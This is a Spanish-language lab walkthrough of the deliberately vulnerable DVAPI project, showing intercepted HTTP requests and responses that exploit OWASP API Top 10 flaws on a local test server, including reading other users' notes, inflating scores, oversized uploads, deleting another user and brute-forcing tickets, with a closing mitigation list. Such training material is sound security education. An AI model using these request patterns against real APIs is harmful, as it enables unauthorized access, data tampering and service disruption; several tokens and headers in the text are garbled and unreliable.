

## DVAPI Walkthrough: Pruebas de Penetración de APIs – OWASP TOP 10 API

### Introducción

Bienvenido al proyecto Damn Vulnerable API (DVAPI). Este proyecto está basado en la versión estable del OWASP API Top 10, 2023, publicada el 5 de junio de 2023. El laboratorio está diseñado para ayudarte a aprender y explorar los 10 principales riesgos de seguridad asociados con las APIs según el proyecto OWASP API Security.

### OWASP API Top 10 (2023)

El OWASP API Top 10 – 2023 consiste en las siguientes vulnerabilidades:

- 0xa1: Broken Object Level Authorization (Autorización a nivel de objeto rota)
- 0xa2: Broken Authentication (Autenticación rota)
- 0xa3: Broken Object Property Level Authorization (Autorización a nivel de propiedad de objeto rota)
- 0xa4: Unrestricted Resource Consumption (Consumo de recursos sin restricciones)
- 0xa5: Broken Function Level Authorization (Autorización a nivel de función rota)
- 0xa6: Unrestricted Access to Sensitive Business Flows (Acceso sin restricciones a flujos de negocio sensibles)
- 0xa7: Server Side Request Forgery (SSRF) (Falsificación de peticiones del lado del servidor)
- 0xa8: Security Misconfiguration (Mala configuración de seguridad)
- 0xa9: Improper Inventory Management (Gestión de inventario inadecuada)
- 0xaa: Unsafe Consumption of APIs (Consumo inseguro de APIs)

### API1:2023 Broken Object Level Authorization

La autorización a nivel de objeto asegura que solo los usuarios autorizados pueden acceder a recursos o realizar acciones específicas. Sin embargo, en el caso de una autorización a nivel de objeto rota, existen vulnerabilidades que permiten a usuarios no autorizados acceder o modificar datos sensibles o realizar acciones para las que no tienen permiso.

## DVAPI – Bootcamp Ciberseguridad

**Request**

```

Pretty Raw Hex
1 GET /api/getNote?username=Tanmay1234 HTTP/1.1
2 Host: 127.0.0.1:3000
3 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:131.0) Gecko/20100101 Firefox/131.0
4 Accept: */*
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Referer: http://127.0.0.1:3000/profile
8 Authorization: Bearer eyJhbGciOiJUzI1NiIsInRscC16IkpXVCJ9.eyJpcV9ySWQioiI2NzE3NgwZDE3ZDA4YmV1OGJ1MTY2MjYtLjIcLjIcVymnftZS1f1PbmhnhTeTyMsQ1iLCJpc0FkbVluIjo12mFsc2UiLCJpYXQiOjE3MsAxODY5OTV9.7QjBXwP5pL1iyDkx9t9eqC6arBd1UbmxVgW2kWS2Ovs
9 Connection: keep-alive
10 Content-Type: application/json; charset=UTF-8
11 Sec-Fetch-Dest: empty
12 Sec-Fetch-Mode: cors
13 Sec-Fetch-Site: same-origin
14 Priority: u+4
15
16

```

**Response**

```

Pretty Raw Hex Render
1 HTTP/1.1 200 OK
2 X-Powered-By: Express
3 Content-Type: application/json; charset=utf-8
4 Content-Length: 54
5 ETag: W/"22-1bTaE/5T5xaJxWf32dwkPbCXwM"
6 Date: Tue, 29 Oct 2024 07:35:37 GMT
7 Connection: Keep-Alive
8 Keep-Alive: timeout=5
9
10 {
    "status": "success",
    "note": "test"
}

```

root	100
admin	0
test	0
Tanmay	0
user	0
root	0
admin1	0

**Request**

```

Pretty Raw Hex
1 GET /api/getNote?username=admin1 HTTP/1.1
2 Host: 127.0.0.1:3000
3 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:131.0) Gecko/20100101 Firefox/131.0
4 Accept: */*
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Referer: http://127.0.0.1:3000/profile
8 Authorization: Bearer eyJhbGciOiJUzI1NiIsInRscC16IkpXVCJ9.eyJpcV9ySWQioiI2NzE3NgwZDE3ZDA4YmV1OGJ1MTY2MjYtLjIcLjIcVymnftZS1f1PbmhnhTeTyMsQ1iLCJpc0FkbVluIjo12mFsc2UiLCJpYXQiOjE3MsAxODY5OTV9.7QjBXwP5pL1iyDkx9t9eqC6arBd1UbmxVgW2kWS2Ovs
9 Connection: keep-alive
10 Content-Type: application/json; charset=UTF-8
11 Sec-Fetch-Dest: empty
12 Sec-Fetch-Mode: cors
13 Sec-Fetch-Site: same-origin
14 Priority: u+4
15
16

```

**Response**

```

Pretty Raw Hex Render
1 HTTP/1.1 200 OK
2 X-Powered-By: Express
3 Content-Type: application/json; charset=utf-8
4 Content-Length: 54
5 ETag: W/"22-1bTaE/5T5xaJxWf32dwkPbCXwM"
6 Date: Tue, 29 Oct 2024 07:36:53 GMT
7 Connection: Keep-Alive
8 Keep-Alive: timeout=5
9
10 {
    "status": "success",
    "note": "test"
}

```

API2:2023 Broken Authentication

Los endpoints de autenticación, que normalmente son públicos, son objetivos comunes para los atacantes. Para prevenir ataques, estos endpoints deben contar con medidas de protección adicionales. Sin embargo, pueden producirse configuraciones incorrectas debido a un modelado insuficiente de amenazas.

API3:2023 Broken Object Property Level Authorization

Las APIs realizan acciones sobre objetos y sus propiedades. Los desarrolladores pueden descuidar la autorización a nivel de propiedad, permitiendo que usuarios modifiquen propiedades de un objeto a las que no deberían acceder, a pesar de tener autorización a nivel de objeto.

```
Pretty Raw Hex

1 POST /api/register HTTP/1.1
2 Host: 127.0.0.1:3000
3 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:131.0) Gecko/20100101 Firefox/131.0
4 Accept: /*
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Prefer: http://127.0.0.1:3000/register
8 Content-Type: application/json
9 Content-Length: 38
10 Origin: http://127.0.0.1:3000
11 Connection: keep-alive
12 Sec-Fetch-Dest: empty
13 Sec-Fetch-Mode: cors
14 Sec-Fetch-Site: same-origin
15 Priority: u+0
16
17 {
18   "username": "root3",
19   "password": "toor",
20   "score": 10000
21 }
```

```
Pretty Raw Hex
1 GET /api/scores HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://127.0.0.1:3000/scoreboard
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.yJic3VySWQidO1zNisIwYjM10BhhZjPmNVuINDAS0DeWY2U1LJC1c
ZYbmhFZS1G1nDhJQCl1iwA0N0ZG1phb1f6ImEhbNHL11iyiaWFtOjoxNzHwMTKMsUs0z.Q.iKL5LVLwv4EeWgAMP6dH
Ug5wvzbhGKUu7j0u0mTIA
Connection: keep-alive
Cookie: auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.yJic3VySWQidO1zNisIwYjM10BhhZjPmNVuINDAS0DeWY2U1LJC1c
ZYbmhFZS1G1nDhJQCl1iwA0N0ZG1phb1f6ImEhbNHL11iyiaWFtOjoxNzHwMTKMsUs0z.Q.iKL5LVLwv4EeWgAMP6dH
Ug5wvzbhGKUu7j0u0mTIA
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=4
.
```

```
Pretty Raw Hex Render
{
  "score":500
},
{
  "username":"Charlie",
  "score":300
},
{
  "username":"Bob",
  "score":200
},
{
  "username":"Alice",
  "score":100
},
{
  "username":"user1",
  "score":100
},
{
  "username":"root1",
  "score":100
},
{
  "username":"admin",
  "score":0
},
{
  "username":"test",
  "score":0
},
{
  "username":"Tazmay",
  "score":0
},
{
  "username":"user",
  "score":0
},
{
  "username":"root",
  "score":0
},
{
  "username":"admin",
  "score":0
}
},
"flag":"
}
```

## API4:2023 Unrestricted Resource Consumption

Las solicitudes a APIs consumen recursos como CPU, memoria, ancho de banda, almacenamiento e integraciones con otros servicios. Los atacantes pueden provocar un alto consumo de recursos enviando solicitudes excesivas, lo que puede dejar la API sin respuesta o aumentar los costes del negocio.

Creo la imagen grande

```
$ dd if=/dev/zero of=largefile.jpg bs=1M count=60
60+0 records in
60+0 records out
62914560 bytes (63 MB, 60 MiB) copied, 0.0492463 s, 1.3 GB/s
$
```

Subir a la foto de perfil

```
POST /api/upload HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://127.0.0.1:3000/profile
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3VzZXJMaWdhbmFtZS16InJvb3QzIiiviaXHBZGipbiI6ImZhbHNlIiivlaWF0IjoxNzMyNTkCMzUzfQ.iKfL5VLow4ErwGAMRfdHUqSksvrdHsGKU0jt0mzTIA
Content-Type: multipart/form-data; boundary=-----406933701536702452825722594704
Content-Length: 629145703
Content-Type: image/jpeg
Connection: keep-alive
Cookie: auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3VzZXJMaWdhbmFtZS16InJvb3QzIiivlaXHBZGipbiI6ImZhbHNlIiivlaWF0IjoxNzMyNTkCMzUzfQ.iKfL5VLow4ErwGAMRfdHUqSksvrdHsGKU0jt0mzTIA
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u4
-----406933701536702452825722594704
Content-Disposition: form-data; name="file"; filename="largefile.jpg"
Content-Type: image/jpeg
-----406933701536702452825722594704--
```

```
1  HTTP/1.1 Raw view
2  X-Powered-By: express
3  Content-Type: application/json; charset=utf-8
4  Content-Length: 140
5  ETag: W/"8c-CbNzDEEBsSadUiysOmpPMdS5dIQ"
6  Date: Tue, 29 Oct 2024 10:10:27 GMT
7  Connection: keep-alive
8  Keep-Alive: timeout=5
9
10 {
11   "message": "File uploaded successfully",
12   "profilePic": "6720b3588af1f5e5409810ce.jpg",
13   "size": "60.00 MB",
14   "flag": "0"
15 }
```

## API5:2023 Broken Function Level Authorization

Las APIs permiten a los usuarios realizar funciones específicas sobre objetos de la API; algunas de estas funciones están restringidas a ciertos permisos de usuario. Es crucial implementar comprobaciones de autorización adecuadas para las funciones de la API, asegurando que los usuarios obtengan los privilegios correctos, para la manipulación de

Request	Response
<pre>Pretty Raw Hex 1 GET /api/user Charlie HTTP/1.1 2 Host: 127.0.0.1:3000 3 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:131.0) Gecko/20100101 Firefox/131.0 4 Accept: */* 5 Accept-Language: en-US,en;q=0.5 6 Accept-Encoding: gzip, deflate, br 7 Referer: http://127.0.0.1:3000/user/Charlie 8 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCIkIkpXVCJ0..eyJlc2VyYXQ1OjI2NzE3NgwzDE3ZDA4YmV1OGJjMTYzNjkiLCJic2VycmVjdC1tb25kLjIiLCJpYXJzZXJfb2FnZSI6Imh0dHA6OTB6..jQxzeS1Uhv0iGKhwC8t5i0h05KhUXBwbuWc0tfEFU 9 Connection: keep-alive 10 Cookie: auth=eyJhbGciOiJIUzI1NiIsInR5cCIkIkpXVCJ0..eyJlc2VyYXQ1OjI2NzE3NgwzDE3ZDA4YmV1OGJjMTYzNjkiLCJic2VycmVjdC1tb25kLjIiLCJpYXJzZXJfb2FnZSI6Imh0dHA6OTB6..jQxzeS1Uhv0iGKhwC8t5i0h05KhUXBwbuWc0tfEFU 11 Sec-Fetch-Dest: empty 12 Sec-Fetch-Mode: cors 13 Sec-Fetch-Site: same-origin 14 Priority: u=4 15 16</pre>	<pre>Pretty Raw Hex Render 1 HTTP/1.1 200 OK 2 X-Powered-By: Express 3 Content-Type: application/json; charset=utf-8 4 Content-Length: 168 5 ETag: V/"e3-EmdUNAVSxcePdpfF7wXkoqdfZ50" 6 Date: Fri, 25 Oct 2024 12:33:16 GMT 7 Connection: keep-alive 8 Keep-Alive: timeout=5 9 10 {     "status": "success",     "user": {         "username": "Charlie",         "score": 300,         "profilePic": "avatar.jpg",         "solve": [             "1": 0,             "2": 0,             "3": 0,             "4": 0,             "5": 0,             "6": 0,             "7": 0,             "8": 0,             "9": 0,             "10": 0,             "11": 0,             "12": 0,             "13": 0,             "14": 0,             "15": 0         ],         "v": 0     } }</pre>

objetos.

Request	Response
<pre>Pretty Raw Hex 1 DELETE /api/user/Charlie HTTP/1.1 2 Host: 127.0.0.1:3000 3 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:131.0) Gecko/20100101 Firefox/131.0 4 Accept: */ 5 Accept-Language: en-US,en;q=0.5 6 Accept-Encoding: gzip, deflate, br 7 Referer: http://127.0.0.1:3000/user/Charlie 8 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCIkIkpXVCJ0..eyJlc2VyYXQ1OjI2NzE3NgwzDE3ZDA4YmV1OGJjMTYzNjkiLCJic2VycmVjdC1tb25kLjIiLCJpYXJzZXJfb2FnZSI6Imh0dHA6OTB6..jQxzeS1Uhv0iGKhwC8t5i0h05KhUXBwbuWc0tfEFU 9 Connection: keep-alive 10 Cookie: auth=eyJhbGciOiJIUzI1NiIsInR5cCIkIkpXVCJ0..eyJlc2VyYXQ1OjI2NzE3NgwzDE3ZDA4YmV1OGJjMTYzNjkiLCJic2VycmVjdC1tb25kLjIiLCJpYXJzZXJfb2FnZSI6Imh0dHA6OTB6..jQxzeS1Uhv0iGKhwC8t5i0h05KhUXBwbuWc0tfEFU 11 Sec-Fetch-Dest: empty 12 Sec-Fetch-Mode: cors 13 Sec-Fetch-Site: same-origin 14 Priority: u=4 15 16</pre>	<pre>Pretty Raw Hex Render 1 HTTP/1.1 200 OK 2 X-Powered-By: Express 3 Content-Type: application/json; charset=utf-8 4 Content-Length: 98 5 ETag: V/"e3-EmdUNAVSxcePdpfF7wXkoqdfZ50" 6 Date: Fri, 25 Oct 2024 12:33:41 GMT 7 Connection: keep-alive 8 Keep-Alive: timeout=5 9 10 {     "status": "success",     "message": "User deleted successfully",     "flag": 1 }</pre>

## API6:2023 Unrestricted Access to Sensitive Business Flows

Un acceso sin restricciones a flujos de negocio sensibles es una vulnerabilidad crítica que permite a los atacantes explotar las APIs obteniendo acceso excesivo a procesos de negocio sensibles. Ocurre cuando endpoints de la API exponen flujos críticos sin las restricciones de acceso apropiadas, pudiendo causar daño al negocio.

```

Pretty Raw Hex Render
1 | HTTP/1.1 200 OK
2 | Content-Type: application/json; charset=utf-8
3 | Content-Length: 72
4 | ETag: W/"40-HDCavubURtopvYgEwu/CbDGiojo"
5 | Date: Fri, 25 Oct 2024 12:39:38 GMT
6 | Connection: keep-alive
7 | Keep-Alive: timeout=5
8 |
9 |
10 | {
    "status": "success",
    "Message": "Ticket Created your ticketId is :105041"
}

```

```
1 POST /api/getTicket HTTP/1.1
2 Host: 127.0.0.1:3000
3 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:131.0) Gecko/20100101 Firefox/131.0
4 Accept: */*
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Referer: http://127.0.0.1:3000/challenges
8 Content-Type: application/json
9 Authorization: Beater
10 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXCVJ9.yjIic2VYyS0QoIiZmE3NzgftZDk4TmV10GJ1MTY2Njk1LClJic2VYyMftZS16I1PhbmiheteKTyMzQ1LCJpcUYhVbiuijoiZmFsc2UiLCJpYXQ1OjE3Mj4NTaxOTB9.JQxzsES1Ubv0iGhWvQ8cf510N05FnUX28VbJvcGtfFU
11 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXCVJ9.yjIic2VYyS0QoIiZmE3NzgftZDk4TmV10GJ1MTY2Njk1LClJic2VYyMftZS16I1PhbmiheteKTyMzQ1LCJpcUYhVbiuijoiZmFsc2UiLCJpYXQ1OjE3Mj4NTaxOTB9.JQxzsES1Ubv0iGhWvQ8cf510N05FnUX28VbJvcGtfFU
12 Origin: http://127.0.0.1:3000
13 Connection: keep-alive
14 Sec-Fetch-Dest: empty
15 Sec-Fetch-Mode: cors
16 Sec-Fetch-Site: same-origin
17 Priority: 10
18
19 {"message": "flag"}
```

Intruder attack results filter: Showing all items							
Request	Show all items	Status code	Response received	Error	Timeout	Length	Comment
45	null	200	52			322	
46	null	200	43			322	
47	null	200	44			322	
48	null	200	42			322	
49	null	200	51			322	
50	null	200	39			322	
51	null	200	41			322	
52	null	200	60			322	
53	null	200	65			322	
54	null	200	45			322	
55	null	200	48			322	
56	null	200	38			322	
57	null	200	41			322	

```
Request Response
Pretty Raw Hex Render
1 HTTP/1.1 200
2 Date: Sun, 20 May 2023 10:41:31 GMT
3 Content-Type: application/json; charset=UTF-8
4 Content-Length: 07
5 ETag: "37c91110100200000000000000000000"
6 X-Content-Type-Options: nosniff
7 Connection: keep-alive
8 Keep-Alive: timeout=5
9
10
11 {"msg": "Unrestricted Access to Sensitive Business Flows", "tag": "SMBF"}
```

API7:2023 Server Side Request Forgery (SSRF)

Los fallos SSRF ocurren cuando una API solicita un recurso remoto sin validar la URL proporcionada por el usuario. Permite a un atacante obligar a la aplicación a enviar peticiones manipuladas a destinos inesperados, incluso si están protegidos por un firewall o VPN.

## API8:2023 Security Misconfiguration

Una mala configuración de seguridad surge cuando ajustes de seguridad esenciales no se implementan o se implementan incorrectamente: por ejemplo, contraseñas por defecto, sistemas sin parchear, puertos abiertos innecesarios o mensajes de error con información sensible.

```

POST http://localhost:3000/api/addNoteWithLink
Body (JSON)
{
  "url": "http://linktoyournote.com/note.txt"
}

```

Body (Pretty)

```

{
  "status": "error",
  "err": {
    "name": "JsonWebTokenError",
    "message": "jwt malformed"
  },
  "stack": "JsonWebTokenError: jwt malformed\n    at module.exports [as verify] (/app/node_modules/jsonwebtoken/verify.js:70:17)\n    at exports.verifyToken (/app/controllers/auth.js:79:25)\n    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)\n    at next (/app/node_modules/express/lib/router/route.js:149:13)\n    at Route.dispatch (/app/node_modules/express/lib/router/route.js:119:3)\n    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)\n    at /app/node_modules/express/lib/router/index.js:284:15\n    at Function.handle (/app/node_modules/express/lib/router/index.js:346:12)\n    at next (/app/node_modules/express/lib/router/index.js:280:10)\n    at Function.handle (/app/node_modules/express/lib/router/index.js:175:3)\n  },
  "message": "Sever Misconfiguration",
  "flag": true
}

```

## API9:2023 Improper Inventory Management

La gestión inadecuada de APIs se refiere a cuando las APIs de producción se crean, utilizan y luego no se gestionan ni finalizan correctamente. Fallos en la gestión de activos (por ejemplo, endpoints de UAT olvidados en producción) pueden conducir a vulnerabilidades.

**PROOF OF CONCEPT (POC):** En el artículo original hay imágenes y capturas que documentan las pruebas de concepto del laboratorio DVAPI. Aquí se incluyen marcadores de posición que puedes reemplazar por las imágenes o capturas concretas.

```

Request
Pretty Raw Hex
POST /api/allChallenges HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://127.0.0.1:3000/challenges
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIwMjE5c1I6IkpXVCJ9.eyJpcVQ1O1ZnxE3Nzg2DE32DA4YmV1OGJ1MTY2MsUiLGJic2VymfzC51ePbmhieT2yM5Q1LCJp0UFkbWiujoimfmc2uLCLCJpTYQ1oE3Mj4H7AwOTB9.jQrzE51Ubv9iOKhVcC8cf510N05KmUXEBwJWc0tfFU
Content-Length: 16
Origin: http://127.0.0.1:3000
Connection: Keep-Alive
Content-Type: application/json
eyJhbGciOiJIUzI1NiIwMjE5c1I6IkpXVCJ9.eyJpcVQ1O1ZnxE3Nzg2DE32DA4YmV1OGJ1MTY2MsUiLGJic2VymfzC51ePbmhieT2yM5Q1LCJp0UFkbWiujoimfmc2uLCLCJpTYQ1oE3Mj4H7AwOTB9.jQrzE51Ubv9iOKhVcC8cf510N05KmUXEBwJWc0tfFU
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=4
{
  "unreleased":1
}

Response
Pretty Raw Hex Render
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 434
ETag: V/"1Dc-f#HdupsxDJpIx8Hmrouza2v6s"
Date: Fri, 25 Oct 2024 14:00:26 GMT
Connection: Keep-Alive
Keep-Alive: timeout=5
{
  "status": "success",
  "challenges": [
    {
      "id": 1,
      "challengeName": "Challenge1",
      "shortDescription": "This is challenge1",
      "longDescription": "This is long description of challenge1",
      "challengeLogo": "/image/challenge1.png"
    },
    {
      "id": 12,
      "challengeName": "Challenge12",
      "shortDescription": "This is challenge12",
      "longDescription": "This is long description of challenge12",
      "challengeLogo": "/image/challenge12.png"
    }
  ]
}

```

## API10:2023 Unsafe Consumption of APIs

Los desarrolladores tienden a confiar más en los datos recibidos de APIs de terceros que en la entrada directa del usuario. Esto puede llevar a adoptar estándares de seguridad más débiles, por ejemplo en la validación y saneamiento de entradas. El consumo inseguro de APIs puede exponer sistemas a vulnerabilidades cuando las respuestas de terceros no se tratan como entradas no confiables.

**PROOF OF CONCEPT (POC):** En el artículo original hay imágenes y capturas que documentan las pruebas de concepto del laboratorio DVAPI. Aquí se incluyen marcadores de posición que puedes reemplazar por las imágenes o capturas concretas.

```

Request
Pretty Raw Hex
POST /api/login HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://127.0.0.1:3000/login
Content-Type: application/json
Content-Length: 73
Origin: http://127.0.0.1:3000
Connection: Keep-Alive
Content-Type: application/json
eyJhbGciOiJIUzI1NiIwMjE5c1I6IkpXVCJ9.eyJpcVQ1O1ZnxE3Nzg4ODk32DA4YmV1OGJ1MTY2MsUiLGJic2VymfzC51ePbmhieT2yM5Q1LCJp0UFkbWiuiv1aJNBZQ1pbf6ImZhbH111iv1aWF01joxMzHwg1fQ.vBqqd2AQJSjzPj35viU5TWWhs2qB1UDYvMo1K10Q
Content-Type: application/json; charset=utf-8
Content-Length: 87
ETag: V/"1Dc-f#HdupsxDJpIx8Hmrouza2v6s"
Date: Tue, 29 Oct 2024 11:13:07 GMT
Connection: Keep-Alive
Keep-Alive: timeout=5
{
  "username": "user1",
  "password": "password"
}

Response
Pretty Raw Hex Render
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 87
ETag: V/"1Dc-f#HdupsxDJpIx8Hmrouza2v6s"
Date: Tue, 29 Oct 2024 11:13:07 GMT
Connection: Keep-Alive
Keep-Alive: timeout=5
{
  "status": "success",
  "message": "Authentication successful",
  "token": "eyJhbGciOiJIUzI1NiIwMjE5c1I6IkpXVCJ9.eyJpcVQ1O1ZnxE3Nzg4ODk32DA4YmV1OGJ1MTY2MsUiLGJic2VymfzC51ePbmhieT2yM5Q1LCJp0UFkbWiuiv1aJNBZQ1pbf6ImZhbH111iv1aWF01joxMzHwg1fQ.vBqqd2AQJSjzPj35viU5TWWhs2qB1UDYvMo1K10Q"
}

```

## Todas las banderas capturadas

The screenshot shows a web browser window with the URL `127.0.0.1:3000/challenges`. The page is titled "Todas las banderas capturadas". On the left, there's a sidebar with links for "Challenges", "Scoreboard", and "API Swagger". The main area is titled "Progress" and contains six challenge cards:

- API1:2023 Broken Object Level Authorization**: Status: Solved. Description: "Drop off during a CTF challenge? No problem. Store a secret note on your profile to track your progress and resume where you left off." Buttons: "Flag" (disabled), "Submit".
- API2:2023 Broken Authentication**: Status: Solved. Description: "Admin has a challenge for you. Admin says anyone who can log in with their account will get some surprise. Can you find out the surprise?" Buttons: "Flag" (disabled), "Submit".
- API3:2023 Broken Object Property Level Authorization**: Status: Solved. Description: "Ever wished there was a cheat code to top the scoreboard?" Buttons: "Flag" (disabled), "Submit".
- API4:2023 Unrestricted Resource Consumption**: Status: Solved. Description: "Do you know that you can customize your profile? Try it out and make your profile stand out among others." Buttons: "Flag" (disabled), "Submit".
- API5:2023 Broken Function Level Authorization**: Status: Solved. Description: "DVAPI has many users. You can see other's profile and others can see yours. What could go wrong here? Right? Right??" Buttons: "Flag" (disabled), "Submit".
- API6:2023 Unrestricted Access to Sensitive Business Flows**: Status: Solved. Description: "DVAPI is a people first application. We are keen on knowing your requests through submit ticket function. Maybe it'll help you find the flag !!!" Buttons: "Flag" (disabled), "Submit".

## Mitigación (resumen)

### Mitigación:

- Seguir las recomendaciones de OWASP Top 10 API Security Risks (2023).
- Implementar controles de autorización a nivel de objeto y a nivel de propiedad.
- Proteger endpoints de autenticación con medidas adicionales y validaciones estrictas.
- Controlar el consumo de recursos aplicando rate limiting, cuotas y validaciones de entrada.
- Mantener un inventario actualizado de APIs y desactivar o retirar endpoints no utilizados.
- Tratar los datos provenientes de terceros como no confiables y validar/sanitizar correctamente.

# DVAPI Walkthrough

Pruebas de Penetración de APIs – OWASP TOP 10 (2023)

Autor: Tanmay Bhattacharjee

Estilo modificado por: Bootcamp Ciberseguridad (28/10/2025)

Para ampliar la información puede remitirse a la pagina:

<https://blackhawkk.medium.com/dvapi-walkthrough-api-penetration-testing-owasp-top-10-api-70a918d1b192>